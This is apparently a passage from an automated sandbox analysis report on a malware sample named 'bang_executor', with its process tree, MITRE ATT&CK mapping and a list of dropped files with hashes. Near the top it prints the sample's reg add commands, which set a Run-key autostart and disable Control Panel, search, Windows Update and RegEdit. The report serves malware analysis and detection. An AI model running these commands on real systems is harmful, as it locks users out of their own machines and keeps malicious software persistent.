      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "bang_executor" /t REG_SZ /d "C:\path\to\bang_executor.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:536
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K block.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3168
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3068
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSearchBox /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4760
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWindowsUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1352
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWindowsApps /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3184
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      System Location Discovery: System Language Discovery
      PID:3160

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:832

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:5004

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a2c855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
9d2b396457506155fffc2bb7ee367db7

SHA1
120b0a564320c52b5011c6377e3e4af3df5f5d52

SHA256
8a147eef6eedd601377969ecde354358b851e3806235bf71defe588096665cc8

SHA512
b7ef81961b8539c68c8a5c971540e10bc943786deeae3c738c3432744362af82340c257f0da15e02f024ab8a50b0be20b0a943e0fb349311ff12ef50572df43b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\7f8ee743-9052-4e55-a3bd-f18ba3f2918f.tmp

Filesize
2KB

MD5
fd1fcd0b08d0ad1c9c79eaa622ed62a0

SHA1
33e7aab74a4bf4b1c9bfed013a432eb8434d9944

SHA256
1bdb97cd42cb156f683b0158842b090961743efae10b36d65038d176fcde8bda

SHA512
dfa6c8e83bc5c573b182df6b56fff5c3e8c29b8d686008991a3674ed2e49732531edaa540b5bc1d5bdb4927a2ed411fd93f59e6518b5d71d425a48857bdf52f3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
a120fcfd777b8020202316e1e1fc2fb1

SHA1
c291d7387be5dfaa0925c926b83ad9b573e29f15

SHA256
87eb7b4d7850c6dad7b744694065574d84ebcc3a025842f2bac75d4c3f70a2ed

SHA512
65567519557b603eb7cea0f2f64ef3437c3af49d6779000cc36cb6863c62e7d2138d66af26fec23d18e6954babe247c009148b38ef8573af4be23f59ab150716

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
27953a009baaf96e49bf4c8a7f8dab7e

SHA1
2f316c7e5c511f00349d456af37e9914ba81d32b

SHA256
2b101fbb1ecfe107e0c701586a77533a295e23ba4d5b32c7413edcf41af84892

SHA512
2a77b6ba82c095b735cbf013173e0376656c2ccce8c099037a910443e5c8d07441345917de66cc0a082f54965a867b3930a71fc3fdc5f44412f378512352670d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
8KB

MD5
3c199b4d7a9b08b280a32cd7c83f7038

SHA1
978a7d453c7234539e533f06ba80743d6855c7dc

SHA256
c27648376fda95f0a8dbadc2ab276b7a3f508c7c0a5d5ad6adbc82bd6cdaed4e

SHA512
e8098eea95a7cb8a540bc69520c8a51df550c63600d9c2a6c23736965c7a6d2f8ac5cd1dee72440606a46e2b873a73feb91311a85527c7e76aeb492cb3b6049b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
feaa814e35191d2c86c31f753805018d

SHA1
c8ae004fb803b3f03187f90eb8f85a76620ced31

SHA256
db893770e86a1ff5874e6277a3b49a2e536e018e57f2d10f1f522230e5b5bb1b

SHA512
c5d39e6fa04333abe93d0549c16a3f6613151587ff1792053cfddc437957d95ac2a8b59dc9859282f906d0ea2bec957c491adf5e713772041123cbe55e08dcb5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
576fc81e4bce522d94380bba7fccb138

SHA1
1eb36d921bdc8d94d33960b08e455ba3db4e68c2

SHA256
c7726ae64dc2c6a4fdd9e905100e031730b1befe260696510ae36566efdafc60

SHA512
cade5daebf2366d5a21e6c02b3fb7093e32b9e90e2fe4e712c3004288447f696e5ff5f3431685072534fd451e5c771c67c1afcc0c04c56d80191af76d2303f81

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
8KB

MD5
5736cebf38371dc4a9ed06adf1be2e2a

SHA1
87c66fa686510a008332ad6c26b130974b8cb727

SHA256
a6ddd36e7b625e05d76b09da3d858610c7584e70f3c66274dec75ea8ee0616d5

SHA512
e1e56187d4d9403957b07ce0d5619f0c7b6bff48100c498ae931f70460c2407deaeaca39fa014ff6ce64f019b766758b17f37abbf050078384a8deed41b0ae59

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
b6ce8a6d013239555229a4927e400015

SHA1
6aea34c2a0542dc8033dc75bf2f6d0bca8ff5085

SHA256
193a4be95bb9208c3b0b8f0ad987045281de223687898dad755a348e46e38b0a

SHA512
6e9010710537e0e5013db7d463c6db5fb7029908e097ea04162c21cb22b547495eb641426c1262d5c9bffc5a750b19619816a52e31a0ec4030acd91bd236c732

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
228KB

MD5
44273817bf514fa8d24f06de58d0e7be

SHA1
b37b9340c95de8dbd9b9bc68d061b13efa599508

SHA256
d5937cdc7eaa20c5643a498c92d02675e51a5ef5579dbdb03a64d4bf19d27edc

SHA512
f1518b6ffcd461f1979f8b6d81aa4e6a48ab25c2aca4f9094874c87f38f8fe0077175c14c973c2a81f25f311f33c7e8f30a378bc8da6fa92bd472969f321f400

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
228KB

MD5
c99a586cd4819396ccaf4db19683b50d

SHA1
02b47cf9d8a0a9645ea24ae7b661c4492213b9dc

SHA256
cc709f5da3e749347f7914b7ea5bc7fb318043eefd3ea7cdfb8aed07905bdcae

SHA512
1480e340e61230bf76b8857ebb787f8060c36c11f83678baa638345e040a33bb4b5a59c752694c29020c632daea7ce3a1ac2fa6a41ac1723deaeb6dc565ab9b1

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\334cb685-2476-4ee8-bcfe-e14efab1542b.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

Filesize
10KB

MD5
1e7dd00b69af4d51fb747a9f42c6cffa

SHA1
496cdb3187d75b73c0cd72c69cd8d42d3b97bca2

SHA256
bc7aec43a9afb0d07ef7e3b84b5d23a907b6baff367ecd4235a15432748f1771

SHA512
d5227d3df5513d7d0d7fb196eef014e54094c5ed8c5d31207b319e12480433f1424d49df759a7a2aefc6a69cef6bf2a0cc45d05660e618dc2ec9a2b082b7b5f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\CopyMyApps.bat

Filesize
1KB

MD5
13b566f65f64678ae441b082f8c5880f

SHA1
b6d85f87556ac2c4fb0db7866332d12f634b7628

SHA256
4233cefecbfe93e2f9a37211245d6351fdb57a1365b361becc3badd69aded860

SHA512
9a9bcc31b3933dcce6f1eac9ef0e350b83c8c50634fc1f014d2556d20db219e4d8f6afe80e337177bee009d3f3815019bd991e174a024e1f434503c48666c844

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\CopyMyApps.bat

Filesize
667B

MD5
8c69a4cdd24434a51c078ade4e415818

SHA1
f7de8fa6ce134ef44dbc8dae2e5489301926d57b

SHA256
2dbefd5047005b860a59845585fb4ac53dbf1c73cdac413ace482c55fe767f14

SHA512
3f628ae753cbd9226efb93d7948569fdf536eadca4f177b8f4f27c7e5aec6b79108cbea86c80b5b32a4f6c26879fbb50fbd528e8fdf10fc7b199d4d962134b06

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\bang.bat

Filesize
152B

MD5
4ab621dbd6adedb9d37889990786db8b

SHA1
929a60efd324b865f3724c502205ffc6fb2c326c

SHA256
c1ac22efbb983252897aa208476433c30ff4b79833a693f12dbd7a9082758742

SHA512
7ec60335fa249078f9b778a1bf7eaeae380df20d41b738c896efe78f4fe0e3d0574b6483138995539de35506dfdb99972839a6332ce38856ba17cbb9453e5f44

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\bang_executor.exe

Filesize
343KB

MD5
3f4383078eaf075febf44753d13d6c9e

SHA1
2d88db11d049d593215d612dd6ecaeda7e86261e

SHA256
5b732724124936d5d2520e93da724ae38d47719714eb8e7c0ee048f0614f9580

SHA512
884a8f1aa3fee21669f5aa9ce95a21df8f335f8ae24c5b780137c05c46ec7f0805b27f4849a5c225eb380ddb15956647821bf59953b62aef6f62e21e6fd66d47

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\block.bat

Filesize
797B

MD5
04c43c40fadcb98c00f270fffee16f60

SHA1
59f67d0633220abd0a38a0f8fe084e2bdf4e31e5

SHA256
c81d9c81d965421083c79315413e19ca7c3f3257ce3d9f56c3d35203804ca2ef

SHA512
70377519091f7953c8c6fda4d22f06d60c783e3f9f396c06d47e177a36e0a7cf3a59a3b490ada8df4803cb96bb63be066863b6a5dca97f85857ccf827d767d6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\executer.exe

Filesize
274KB

MD5
88e22186f196cc0e1e2d500eeac57337

SHA1
e5e0bd98f08de159880b58e918959c358efca6b1

SHA256
5dca36ce98da2185693a87305811cf7aeee7b3279298345e4d1f4d37efe0250b

SHA512
462fe680ba12da5fedec11d88ea17f9f65b80ee916f665d6208d9dcf3d3494c805d11aaf899914f621835b0a61d014000243fe01b2e00ca34681afc415a33ee6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.bat

Filesize
511B

MD5
94bb870028b1a0695d7d2bfb4e828d23

SHA1
792db68c70ace16ff72f77a38de1fc2af87ea9c6

SHA256
f4cb0914def1ae78c54397280170edf6c76085133fe00e26a3778fd0ebd3e54f

SHA512
746a7535078ba0361b207145ec856f2c9fa8a29ff1314459b5a09f14ac3e97cae4ec3209c4e06f730f434abf579e5b4859474b5ec916263e3cd7aeb7bb20205b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\mgr.bat

Filesize
111B

MD5
9a4a032d9a604c9b7c1e843c6455140e

SHA1
dbe7a610e1697e62722efb59ad3bc03afcfd900f

SHA256
dc0890d3d4a7370ece704eb075c05418795c47332dffcc277896e806c38c3db0

SHA512
ca045ec576eb55c442959c2709148392fe53f1613b6c5dc9cb5b43592d77563479233c7dee6e0832e5a95528e1653ba6b73c73a3dc4ed841a7529e6344eccb3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\save.bat

Filesize
3KB

MD5
ba3f50ba4f5d0c5289f3ed88a97417b8

SHA1
140bb3017cd0a71de9075132e0c1b0b2a2e0f7bd

SHA256
3767ea473e9aa362013d6daada1a418de045c4c6d48129d80113fa2cf17b83c6

SHA512
39431d8969a4f8fd534d719a498e1363824912f9955b4089ee692c703f06a6b43b0aabaa394e2e6d6950d215d573ad90566a60ee350ca2be91734bdc194e7109

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\save2.bat

Filesize
1KB

MD5
39273529b1318600582d458a55a853f1

SHA1
11ab160257103c8e576a80d4aa2dfc16045491a6

SHA256
19c54853770804e2d9e7038bd12d615f942f80a197dd9871beb9385ff37752a7

SHA512
ce13c7a4d0714145952cd7453b8179c2b7b38672a6669585b84f4b7449458075da73b590676e8873e2d8b53ccc035e6e5c5ed69a155873e9138246fb7d973ca6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eewbtoiq.vrr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\bang_executor (1) (7).zip.crdownload

Filesize
318KB

MD5
b17b31fb5f8eac2c1e698fcb134e1594

SHA1
7b12e65a3e736673938e55f13ef4133af1be6b69

SHA256
3d56942eb65f262dd501005f9d15ffef736c2d01811c50dedce7f911cbd218e6

SHA512
23ab6c3dd9de853ce1f2e20b0bd7de5b696606ccc346ae6a0d87bc09490127be4d77d6c8343f3083d46c4c5d5f3dc19c85a5d9dbd5139c94c4baec96522e9340

Download Submit
C:\Users\Admin\Downloads\bang_executor (1) (7).zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\test.ps1

Filesize
3KB

MD5
3499745c76f31429c42a3b34d8cc0af6

SHA1
f9125070406cc2a2a6cf092f3ed3d36751107224

SHA256
3c2eb503e7d32f48b06199e6c1c350e559c316fd9f6f17f040e41079f44fb6e3

SHA512
1757ee5f42a8681e84ce3070d7ee164107ebc284bc0eb5424a4e71fe71e122eeadb28d63535d88557c0c49c687ce4514e8d387781ec7c68e1171994183dde1fb

Download Submit
\??\pipe\crashpad_236_SDVYJUBMJWJNEYRU

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1600-132-0x00000174E88B0000-0x00000174E88D2000-memory.dmp

Filesize
136KB

Download
memory/4612-69-0x0000000000BF0000-0x0000000000C3A000-memory.dmp

Filesize
296KB

Download
memory/5020-134-0x0000027128D10000-0x0000027129238000-memory.dmp

Filesize
5.2MB

Download
memory/5020-67-0x0000027128510000-0x00000271286D2000-memory.dmp

Filesize
1.8MB

Download
memory/5020-66-0x000002710DE10000-0x000002710DE6A000-memory.dmp

Filesize
360KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads